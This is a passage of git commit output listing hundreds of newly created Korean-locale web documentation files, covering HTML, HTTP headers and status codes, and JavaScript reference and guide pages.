files/ko/web/html/quirks_mode_and_standards_mode/index.html create mode 100644 files/ko/web/html/reference/index.html create mode 100644 files/ko/web/html/using_the_application_cache/index.html create mode 100644 files/ko/web/http/authentication/index.html create mode 100644 files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html create mode 100644 files/ko/web/http/basics_of_http/data_uris/index.html create mode 100644 files/ko/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html create mode 100644 files/ko/web/http/basics_of_http/index.html create mode 100644 files/ko/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/ko/web/http/basics_of_http/mime_types/index.html create mode 100644 files/ko/web/http/caching/index.html create mode 100644 files/ko/web/http/compression/index.html create mode 100644 files/ko/web/http/conditional_requests/index.html create mode 100644 files/ko/web/http/connection_management_in_http_1.x/index.html create mode 100644 files/ko/web/http/content_negotiation/index.html create mode 100644 files/ko/web/http/cookies/index.html create mode 100644 files/ko/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/ko/web/http/cors/errors/corsrequestnothttp/index.html create mode 100644 files/ko/web/http/cors/errors/index.html create mode 100644 files/ko/web/http/cors/index.html create mode 100644 files/ko/web/http/headers/accept-charset/index.html create mode 100644 files/ko/web/http/headers/accept-encoding/index.html create mode 100644 files/ko/web/http/headers/accept-language/index.html create mode 100644 files/ko/web/http/headers/accept-ranges/index.html create mode 100644 files/ko/web/http/headers/accept/index.html create mode 100644 files/ko/web/http/headers/access-control-allow-credentials/index.html create mode 100644 files/ko/web/http/headers/access-control-allow-headers/index.html create mode 100644 files/ko/web/http/headers/access-control-allow-origin/index.html create mode 100644 files/ko/web/http/headers/access-control-request-headers/index.html create mode 100644 files/ko/web/http/headers/access-control-request-method/index.html create mode 100644 files/ko/web/http/headers/age/index.html create mode 100644 files/ko/web/http/headers/allow/index.html create mode 100644 files/ko/web/http/headers/authorization/index.html create mode 100644 files/ko/web/http/headers/cache-control/index.html create mode 100644 files/ko/web/http/headers/connection/index.html create mode 100644 files/ko/web/http/headers/content-disposition/index.html create mode 100644 files/ko/web/http/headers/content-encoding/index.html create mode 100644 files/ko/web/http/headers/content-language/index.html create mode 100644 files/ko/web/http/headers/content-length/index.html create mode 100644 files/ko/web/http/headers/content-location/index.html create mode 100644 files/ko/web/http/headers/content-range/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/default-src/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/img-src/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/report-to/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/script-src/index.html create mode 100644 files/ko/web/http/headers/content-type/index.html create mode 100644 files/ko/web/http/headers/cookie/index.html create mode 100644 files/ko/web/http/headers/date/index.html create mode 100644 files/ko/web/http/headers/dnt/index.html create mode 100644 files/ko/web/http/headers/etag/index.html create mode 100644 files/ko/web/http/headers/expect/index.html create mode 100644 files/ko/web/http/headers/expires/index.html create mode 100644 files/ko/web/http/headers/forwarded/index.html create mode 100644 files/ko/web/http/headers/from/index.html create mode 100644 files/ko/web/http/headers/host/index.html create mode 100644 files/ko/web/http/headers/if-modified-since/index.html create mode 100644 files/ko/web/http/headers/if-range/index.html create mode 100644 files/ko/web/http/headers/index.html create mode 100644 files/ko/web/http/headers/keep-alive/index.html create mode 100644 files/ko/web/http/headers/last-modified/index.html create mode 100644 files/ko/web/http/headers/origin/index.html create mode 100644 files/ko/web/http/headers/pragma/index.html create mode 100644 files/ko/web/http/headers/range/index.html create mode 100644 files/ko/web/http/headers/referer/index.html create mode 100644 files/ko/web/http/headers/retry-after/index.html create mode 100644 files/ko/web/http/headers/server/index.html create mode 100644 files/ko/web/http/headers/set-cookie/index.html create mode 100644 files/ko/web/http/headers/strict-transport-security/index.html create mode 100644 files/ko/web/http/headers/transfer-encoding/index.html create mode 100644 files/ko/web/http/headers/vary/index.html create mode 100644 files/ko/web/http/headers/via/index.html create mode 100644 files/ko/web/http/headers/x-forwarded-for/index.html create mode 100644 files/ko/web/http/headers/x-forwarded-host/index.html create mode 100644 files/ko/web/http/headers/x-forwarded-proto/index.html create mode 100644 files/ko/web/http/headers/x-frame-options/index.html create mode 100644 files/ko/web/http/headers/x-xss-protection/index.html create mode 100644 files/ko/web/http/index.html create mode 100644 files/ko/web/http/index/index.html create mode 100644 files/ko/web/http/messages/index.html create mode 100644 files/ko/web/http/methods/connect/index.html create mode 100644 files/ko/web/http/methods/delete/index.html create mode 100644 files/ko/web/http/methods/get/index.html create mode 100644 files/ko/web/http/methods/head/index.html create mode 100644 files/ko/web/http/methods/index.html create mode 100644 files/ko/web/http/methods/options/index.html create mode 100644 files/ko/web/http/methods/patch/index.html create mode 100644 files/ko/web/http/methods/post/index.html create mode 100644 files/ko/web/http/methods/put/index.html create mode 100644 files/ko/web/http/overview/index.html create mode 100644 files/ko/web/http/range_requests/index.html create mode 100644 files/ko/web/http/redirections/index.html create mode 100644 files/ko/web/http/resources_and_specifications/index.html create mode 100644 files/ko/web/http/resources_and_uris/index.html create mode 100644 files/ko/web/http/session/index.html create mode 100644 files/ko/web/http/status/100/index.html create mode 100644 files/ko/web/http/status/101/index.html create mode 100644 files/ko/web/http/status/103/index.html create mode 100644 files/ko/web/http/status/200/index.html create mode 100644 files/ko/web/http/status/201/index.html create mode 100644 files/ko/web/http/status/202/index.html create mode 100644 files/ko/web/http/status/204/index.html create mode 100644 files/ko/web/http/status/205/index.html create mode 100644 files/ko/web/http/status/206/index.html create mode 100644 files/ko/web/http/status/301/index.html create mode 100644 files/ko/web/http/status/302/index.html create mode 100644 files/ko/web/http/status/304/index.html create mode 100644 files/ko/web/http/status/307/index.html create mode 100644 files/ko/web/http/status/400/index.html create mode 100644 files/ko/web/http/status/401/index.html create mode 100644 files/ko/web/http/status/403/index.html create mode 100644 files/ko/web/http/status/404/index.html create mode 100644 files/ko/web/http/status/405/index.html create mode 100644 files/ko/web/http/status/408/index.html create mode 100644 files/ko/web/http/status/409/index.html create mode 100644 files/ko/web/http/status/411/index.html create mode 100644 files/ko/web/http/status/413/index.html create mode 100644 files/ko/web/http/status/416/index.html create mode 100644 files/ko/web/http/status/418/index.html create mode 100644 files/ko/web/http/status/422/index.html create mode 100644 files/ko/web/http/status/431/index.html create mode 100644 files/ko/web/http/status/500/index.html create mode 100644 files/ko/web/http/status/501/index.html create mode 100644 files/ko/web/http/status/502/index.html create mode 100644 files/ko/web/http/status/503/index.html create mode 100644 files/ko/web/http/status/504/index.html create mode 100644 files/ko/web/http/status/505/index.html create mode 100644 files/ko/web/http/status/index.html create mode 100644 "files/ko/web/http/user_agent\353\245\274_\354\235\264\354\232\251\355\225\234_\353\270\214\353\235\274\354\232\260\354\240\200_\352\260\220\354\247\200/index.html" create mode 100644 files/ko/web/index.html create mode 100644 files/ko/web/javascript/about/index.html create mode 100644 files/ko/web/javascript/data_structures/index.html create mode 100644 files/ko/web/javascript/differential_inheritance_in_javascript/index.html create mode 100644 files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html create mode 100644 files/ko/web/javascript/equality_comparisons_and_sameness/index.html create mode 100644 files/ko/web/javascript/eventloop/index.html create mode 100644 files/ko/web/javascript/guide/closures/index.html create mode 100644 files/ko/web/javascript/guide/control_flow_and_error_handling/index.html create mode 100644 files/ko/web/javascript/guide/expressions_and_operators/index.html create mode 100644 files/ko/web/javascript/guide/index.html create mode 100644 files/ko/web/javascript/guide/indexed_collections/index.html create mode 100644 files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html create mode 100644 files/ko/web/javascript/guide/iterators_and_generators/index.html create mode 100644 files/ko/web/javascript/guide/keyed_collections/index.html create mode 100644 files/ko/web/javascript/guide/loops_and_iteration/index.html create mode 100644 files/ko/web/javascript/guide/modules/index.html create mode 100644 files/ko/web/javascript/guide/numbers_and_dates/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/variables/index.html create mode 100644 files/ko/web/javascript/guide/text_formatting/index.html create mode 100644 files/ko/web/javascript/guide/using_promises/index.html create mode 100644 files/ko/web/javascript/guide/values,_variables,_and_literals/index.html create mode 100644 files/ko/web/javascript/guide/working_with_objects/index.html create mode 100644 "files/ko/web/javascript/guide/\352\260\235\354\262\264_\353\252\250\353\215\270\354\235\230_\354\204\270\353\266\200\354\202\254\355\225\255/index.html" create mode 100644 "files/ko/web/javascript/guide/\353\251\224\355\203\200_\355\224\204\353\241\234\352\267\270\353\236\230\353\260\215/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\206\214\352\260\234/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\240\225\352\267\234\354\213\235/assertions/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\240\225\352\267\234\354\213\235/groups_and_ranges/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\240\225\352\267\234\354\213\235/index.html" create mode 100644 "files/ko/web/javascript/guide/\355\225\250\354\210\230/index.html" create mode 100644 files/ko/web/javascript/index.html create mode 100644 files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html create mode 100644 files/ko/web/javascript/javascript_technologies_overview/index.html create mode 100644 files/ko/web/javascript/memory_management/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.5/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.6/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.8.1/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.8.5/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.8/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/index.html create mode 100644 files/ko/web/javascript/reference/about/index.html create mode 100644 files/ko/web/javascript/reference/classes/class_fields/index.html create mode 100644 files/ko/web/javascript/reference/classes/constructor/index.html create mode 100644 files/ko/web/javascript/reference/classes/extends/index.html create mode 100644 files/ko/web/javascript/reference/classes/index.html create mode 100644 files/ko/web/javascript/reference/classes/private_class_fields/index.html create mode 100644 files/ko/web/javascript/reference/classes/static/index.html create mode 100644 files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_octal/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_radix/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html create mode 100644 files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html create mode 100644 files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html create mode 100644 files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html create mode 100644 files/ko/web/javascript/reference/errors/deprecated_octal/index.html create mode 100644 files/ko/web/javascript/reference/errors/identifier_after_number/index.html create mode 100644 files/ko/web/javascript/reference/errors/illegal_character/index.html create mode 100644 files/ko/web/javascript/reference/errors/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_array_length/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_date/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html create mode 100644 files/ko/web/javascript/reference/errors/is_not_iterable/index.html create mode 100644 files/ko/web/javascript/reference/errors/json_bad_parse/index.html create mode 100644 files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html create mode 100644 files/ko/web/javascript/reference/errors/more_arguments_needed/index.html create mode 100644 files/ko/web/javascript/reference/errors/negative_repetition_count/index.html create mode 100644 files/ko/web/javascript/reference/errors/no_variable_name/index.html create mode 100644 files/ko/web/javascript/reference/errors/not_a_codepoint/index.html create mode 100644 files/ko/web/javascript/reference/errors/not_a_constructor/index.html create mode 100644 files/ko/web/javascript/reference/errors/not_defined/index.html create mode 100644 files/ko/web/javascript/reference/errors/precision_range/index.html create mode 100644 files/ko/web/javascript/reference/errors/property_access_denied/index.html create mode 100644 files/ko/web/javascript/reference/errors/read-only/index.html create mode 100644 files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html create mode 100644 files/ko/web/javascript/reference/errors/reserved_identifier/index.html create mode 100644 files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html create mode 100644 files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html create mode 100644 files/ko/web/javascript/reference/errors/too_much_recursion/index.html create mode 100644 files/ko/web/javascript/reference/errors/undeclared_var/index.html create mode 100644 files/ko/web/javascript/reference/errors/undefined_prop/index.html create mode 100644 files/ko/web/javascript/reference/errors/unexpected_token/index.html create mode 100644 files/ko/web/javascript/reference/errors/unexpected_type/index.html create mode 100644 files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/callee/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/caller/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/length/index.html create mode 100644 files/ko/web/javascript/reference/functions/default_parameters/index.html create mode 100644 files/ko/web/javascript/reference/functions/get/index.html create mode 100644 files/ko/web/javascript/reference/functions/index.html create mode 100644 files/ko/web/javascript/reference/functions/method_definitions/index.html create mode 100644 files/ko/web/javascript/reference/functions/rest_parameters/index.html create mode 100644 files/ko/web/javascript/reference/functions/set/index.html create mode 100644 "files/ko/web/javascript/reference/functions/\354\225\240\353\241\234\354\232\260_\355\216\221\354\205\230/index.html" create mode 100644 files/ko/web/javascript/reference/global_objects/aggregateerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/@@species/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/array/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/concat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/copywithin/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/entries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/every/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/fill/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/filter/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/find/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/findindex/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/flat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/flatmap/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/foreach/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/from/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/includes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/indexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/isarray/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/join/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/keys/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/map/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/observe/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/of/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/pop/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/push/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/reduce/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/reduceright/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/reverse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/shift/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/some/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/sort/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/splice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/tosource/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/unshift/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/asyncfunction/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/atomics/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/bigint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getday/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/gethours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/gettime/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcday/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutchours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/now/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/parse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/sethours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/settime/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutchours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/todatestring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/toisostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/tojson/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/utc/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/decodeuri/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/encodeuri/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/error/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/error/name/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/eval/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/apply/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/arguments/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/bind/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/call/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/name/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/function/tosource/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/next/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/return/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generator/throw/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/generatorfunction/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/globalthis/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/infinity/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/internalerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/locale/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/isfinite/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/isnan/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/json/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/json/parse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/json/stringify/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/clear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/delete/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/entries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/foreach/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/get/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/has/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/map/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/set/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/map/size/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/abs/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/acos/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/cbrt/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/ceil/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/e/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/exp/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/floor/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/fround/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/imul/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/ln10/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/ln2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log10e/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log2/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/log2e/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/max/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/min/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/pi/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/random/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/round/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sign/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sin/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/math/sinh/index.html create mode 100644 